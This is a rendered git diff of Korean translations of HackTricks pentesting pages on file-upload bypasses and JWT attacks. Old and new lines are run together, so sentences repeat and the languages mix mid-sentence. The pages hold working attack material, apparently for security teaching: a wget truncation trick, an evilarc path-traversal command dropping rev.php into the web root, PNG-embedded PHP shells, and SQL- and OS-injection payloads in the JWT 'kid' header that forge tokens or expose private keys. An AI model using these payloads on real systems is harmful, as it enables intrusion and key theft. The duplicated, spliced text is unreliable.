uWSGI의 구성 파일 구문 분석의 느슨한 특성을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 이진 파일(예: 이미지 또는 PDF)에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다. uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 이진 파일(예: 이미지 또는 PDF)에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다.
## **wget File Upload/SSRF Trick** ## **wget 파일 업로드/SSRF 트릭**
어떤 경우에는 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있음을 알게 될 수 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사는 우회할 수 있습니다.**\ 일부 경우에 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사는 우회할 수 있습니다.**\
**linux**에서 **파일 이름**의 **최대** 길이는 **255**이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다. **리눅스**에서 **파일 이름**의 **최대** 길이는 **255**이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10] 2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
``` ```
Note that **다른 옵션** you may be thinking of to bypass this check is to make the **HTTP 서버가 다른 파일로 리디렉션**도록 하여, 초기 URL이 체크를 우회하게 하고 wget이 새로운 이름으로 리디렉션된 파일을 다운로드하게 할 수 있습니다. This **작동하지 않을 것입니다** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드할 것입니다**. Note that **다른 옵션** you may be thinking of to bypass this check is to make the **HTTP 서버가 다른 파일로 리디렉션**도록 하여, 초기 URL이 체크를 우회하게 하고 wget이 새로운 이름으로 리디렉션된 파일을 다운로드하게 됩니다. This **작동하지 않습니다** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드니다**.
## Tools ## Tools
@ -193,11 +193,11 @@ Note that **다른 옵션** you may be thinking of to bypass this check is to ma
* [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) * [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
* Try **다양한 svg 페이로드** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* * Try **다양한 svg 페이로드** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* If you can **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/)를 악용할 수 있습니다. If this **이미지**가 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠 수 있습니다**. * If you can **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면** [SSRF](../ssrf-server-side-request-forgery/)를 악용할 수 있습니다. If this **이미지**가 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
* [**XXE and CORS** 우회 with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) * [**XXE 및 CORS** 우회 PDF-Adobe 업로드](pdf-upload-xxe-and-cors-bypass.md)
* 특별히 제작된 PDF로 XSS: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. * 특별히 제작된 PDF로 XSS: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
* Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **안티바이러스** * Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **안티바이러스**.
* Check if there is any **크기 제한** uploading files * Check if there is any **크기 제한** uploading files.
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -246,7 +246,7 @@ python2 evilarc.py -h
# Creating a malicious archive # Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
``` ```
추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동 중 오류를 겪지 않도록 보장합니다. 추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다: 아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
```python ```python
@ -316,7 +316,7 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작
다중 언어 파일의 핵심 유틸리티는 파일 유형에 따라 파일을 스크리닝하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 다중 언어 파일은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다. 다중 언어 파일의 핵심 유틸리티는 파일 유형에 따라 파일을 스크리닝하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 다중 언어 파일은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
그들의 적응성에도 불구하고, 다중 언어 파일은 한계에 직면합니다. 예를 들어, 다중 언어 파일이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 다중 언어 파일의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다. 그들의 적응성에도 불구하고, 다중 언어 파일은 한계에 직면합니다. 예를 들어, 다중 언어 파일이 동시에 PHAR 파일(PHp ARchive)과 JPEG을 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 다중 언어 파일의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) 자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,22 +329,22 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필_). 당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우고 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우고 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks 지원하기</summary> <summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.** * **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
</details> </details>

View file

@ -1,32 +1,32 @@
# JWT 취약점 (Json Web Tokens) # JWT 취약점 (Json Web Tokens)
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks 지원하기</summary> <summary>Support HackTricks</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). If you are interested in **해킹 경력** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
**이 게시물의 일부는 훌륭한 게시물을 기반으로 합니다:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWT를 펜테스트하기 위한 훌륭한 도구의 저자** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) **Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **빠른 승리** ### **Quick Wins**
모드 `All Tests!`로 [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)을 실행하고 초록색 줄을 기다리세요. Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
```bash ```bash
python3 jwt_tool.py -M at \ python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -78,7 +78,7 @@ Burp 확장 기능 "JSON Web Token"을 사용하여 이 취약점을 시도하
### 알고리즘 RS256(비대칭)을 HS256(대칭)으로 변경 (CVE-2016-5431/CVE-2016-10555) ### 알고리즘 RS256(비대칭)을 HS256(대칭)으로 변경 (CVE-2016-5431/CVE-2016-10555)
알고리즘 HS256은 비밀 키를 사용하여 각 메시지에 서명하고 검증합니다.\ 알고리즘 HS256은 비밀 키를 사용하여 각 메시지에 서명하고 검증합니다.\
알고리즘 RS256은 개인 키를 사용하여 메시지에 서명하고 공개 키를 인증에 사용합니다. 알고리즘 RS256은 개인 키를 사용하여 메시지에 서명하고 인증을 위해 공개 키를 사용합니다.
알고리즘을 RS256에서 HS256으로 변경하면 백엔드 코드는 공개 키를 비밀 키로 사용하고 HS256 알고리즘을 사용하여 서명을 검증합니다. 알고리즘을 RS256에서 HS256으로 변경하면 백엔드 코드는 공개 키를 비밀 키로 사용하고 HS256 알고리즘을 사용하여 서명을 검증합니다.
@ -113,7 +113,7 @@ python3 jwt_tool.py JWT_HERE -X s
### Kid Issues Overview ### Kid Issues Overview
선택적 헤더 클레임인 `kid` 특정 키를 식별하는 데 사용되며, 이는 토큰 서명 검증을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰 서명을 검증하기 위해 적절한 키를 선택하는 데 도움을 줍니다. `kid`라는 선택적 헤더 클레임은 특정 키를 식별하는 데 사용되며, 이는 토큰 서명 검증을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰 서명을 검증하기 위해 적절한 키를 선택하는 데 도움을 줍니다.
#### Revealing Key through "kid" #### Revealing Key through "kid"
@ -121,32 +121,32 @@ python3 jwt_tool.py JWT_HERE -X s
#### Path Traversal with "kid" #### Path Traversal with "kid"
`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있는 가능성을 제공합니다. 특정 파일이나 서비스를 목표로 `kid` 값을 변경하여 연결성을 테스트하거나 서버 측 요청 위조(SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지하면서 `kid` 값을 변경하기 위해 JWT를 조작하는 것은 jwt\_tool에서 `-T` 플래그를 사용하여 수행할 수 있습니다. `kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있는 가능성을 제공합니다. 특정 파일이나 서비스를 목표로 `kid` 값을 변경하여 연결성을 테스트하거나 서버 측 요청 위조(SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지하면서 `kid` 값을 변경하기 위해 JWT를 조작하는 것은 `jwt_tool`에서 `-T` 플래그를 사용하여 수행할 수 있습니다.
```bash ```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
``` ```
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation. 예측 가능한 내용을 가진 파일을 타겟으로 함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, JWT 생성을 위한 대칭 비밀번호로 **2**를 사용하여 `kid` 매개변수에 활용될 수 있습니다.
#### SQL Injection via "kid" #### "kid"를 통한 SQL 인젝션
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes: `kid` 클레임의 내용을 사용하여 데이터베이스에서 비밀번호를 가져오는 경우, `kid` 페이로드를 수정하여 SQL 인젝션을 유도할 수 있습니다. JWT 서명 프로세스를 변경하기 위해 SQL 인젝션을 사용하는 예시 페이로드는 다음과 같습니다:
`non-existent-index' UNION SELECT 'ATTACKER';-- -` `non-existent-index' UNION SELECT 'ATTACKER';-- -`
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing. 이 변경은 JWT 서명을 위해 알려진 비밀 키인 `ATTACKER`를 사용하도록 강제합니다.
#### OS Injection through "kid" #### "kid"를 통한 OS 인젝션
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is: `kid` 매개변수가 명령 실행 컨텍스트 내에서 사용되는 파일 경로를 지정하는 경우, 원격 코드 실행(RCE) 취약점이 발생할 수 있습니다. `kid` 매개변수에 명령을 주입함으로써 개인 키를 노출할 수 있습니다. RCE 및 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u and jku ### x5u jku
#### jku #### jku
jku는 **JWK Set URL**을 의미합니다.\ jku는 **JWK Set URL**을 의미합니다.\
토큰이 “**jku**” **헤더** 클레임을 사용하는 경우, **제공된 URL을 확인하십시오**. 이는 토큰을 검증하기 위한 공개 키가 포함된 JWKS 파일을 가리키는 URL이어야 합니다. 토큰을 변조하여 jku 값을 모니터링할 수 있는 웹 서비스로 가리키도록 하십시오. 토큰이 “**jku**” **헤더** 클레임을 사용하는 경우, **제공된 URL을 확인하십시오**. 이 URL은 토큰을 검증하기 위한 공개 키를 포함하는 JWKS 파일을 가리켜야 합니다. 토큰을 변조하여 jku 값을 모니터링할 수 있는 웹 서비스로 포인팅하십시오.
먼저 새로운 개인 및 공개 키로 새로운 인증서를 생성해야 합니다. 먼저 새로운 개인 및 공개 키로 새로운 인증서를 생성해야 합니다.
```bash ```bash
@ -180,7 +180,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
![](<../.gitbook/assets/image (956).png>) ![](<../.gitbook/assets/image (956).png>)
이 두 가지 취약점을 **SSRF에 대해 악용할 수도 있습니다.** 이 두 가지 취약점을 **SSRF를 위해** 악용할 수도 있습니다.
#### x5c #### x5c
@ -195,7 +195,7 @@ openssl x509 -in attacker.crt -text
``` ```
### Embedded Public Key (CVE-2018-0114) ### Embedded Public Key (CVE-2018-0114)
JWT에 다음 시나리오와 같이 임베디드된 공개 키가 있는 경우: JWT에 다음과 같은 시나리오처럼 내장된 공개 키가 있는 경우:
![](<../.gitbook/assets/image (624).png>) ![](<../.gitbook/assets/image (624).png>)
@ -225,18 +225,18 @@ const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16)); console.log('Parameter e: ', publicComponents.e.toString(16));
``` ```
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information. 마지막으로, 공개 키와 개인 키 및 새로운 "n"과 "e" 값을 사용하여 [jwt.io](https://jwt.io)에서 임의의 정보를 가진 새로운 유효한 JWT를 위조할 수 있습니다.
### ES256: 같은 nonce로 개인 키 노출 ### ES256: 동일한 nonce로 개인 키 노출
일부 애플리케이션이 ES256을 사용하고 같은 nonce를 사용하여 두 개의 jwt를 생성하는 경우, 개인 키를 복원할 수 있습니다. 일부 애플리케이션이 ES256을 사용하고 동일한 nonce를 사용하여 두 개의 jwt를 생성하는 경우, 개인 키를 복원할 수 있습니다.
여기 예시가 있습니다: [ECDSA: 같은 nonce를 사용할 경우 개인 키 노출 (SECP256k1 사용)](https://asecuritysite.com/encryption/ecd5) 여기 예시가 있습니다: [ECDSA: 동일한 nonce 사용 시 개인 키 노출 (SECP256k1 사용)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID) ### JTI (JWT ID)
JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이는 토큰이 재전송되는 것을 방지하는 데 사용될 수 있습니다.\ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이는 토큰이 재전송되는 것을 방지하는 데 사용될 수 있습니다.\
그러나 ID의 최대 길이가 4(0001-9999)인 상황을 상상해 보십시오. 요청 0001과 10001은 같은 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키고 있다면, 이를 악용하여 **요청을 재전송**할 수 있습니다(각 성공적인 재전송 사이에 10000 요청을 보내야 함). 그러나 ID의 최대 길이가 4(0001-9999)인 상황을 상상해 보십시오. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키고 있다면, 이를 악용하여 **요청을 재전송**할 수 있습니다(각 성공적인 재전송 사이에 10000 요청을 보내야 함).
### JWT 등록 클레임 ### JWT 등록 클레임
@ -246,13 +246,13 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
**교차 서비스 릴레이 공격** **교차 서비스 릴레이 공격**
일부 웹 애플리케이션이 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. JWT 서비스에 의해 한 클라이언트를 위해 생성된 토큰이 같은 JWT 서비스의 다른 클라이언트에 의해 수용된 사례가 기록되었습니다. 제3자 서비스에 의해 JWT의 발급 또는 갱신이 관찰되면, 같은 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 계정을 등록할 가능성을 조사해야 합니다. 그런 다음, 얻은 토큰을 대상으로 요청하여 수용되는지 확인하는 시도를 해야 합니다. 일부 웹 애플리케이션이 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. JWT 서비스에 의해 한 클라이언트를 위해 생성된 토큰이 동일한 JWT 서비스의 다른 클라이언트에 의해 수용된 사례가 기록되었습니다. 제3자 서비스에 의해 JWT의 발급 또는 갱신이 관찰되면, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 계정을 등록할 가능성을 조사해야 합니다. 그런 다음, 얻은 토큰을 대상으로 요청하여 수용되는지 확인하는 시도를 해야 합니다.
* 당신의 토큰이 수용되면 심각한 문제가 발생할 수 있으며, 이는 모든 사용자의 계정을 스푸핑할 수 있는 가능성을 허용할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트에 대한 허가가 필요할 수 있으며, 이는 법적 회색 영역에 들어갈 수 있음을 유의해야 합니다. * 귀하의 토큰이 수용되면 심각한 문제가 발생할 수 있으며, 이는 모든 사용자의 계정을 스푸핑할 수 있는 가능성을 허용할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트에 대한 허가가 필요할 수 있으며, 이는 법적 회색 영역에 들어갈 수 있음을 유의해야 합니다.
**토큰 만료 확인** **토큰 만료 확인**
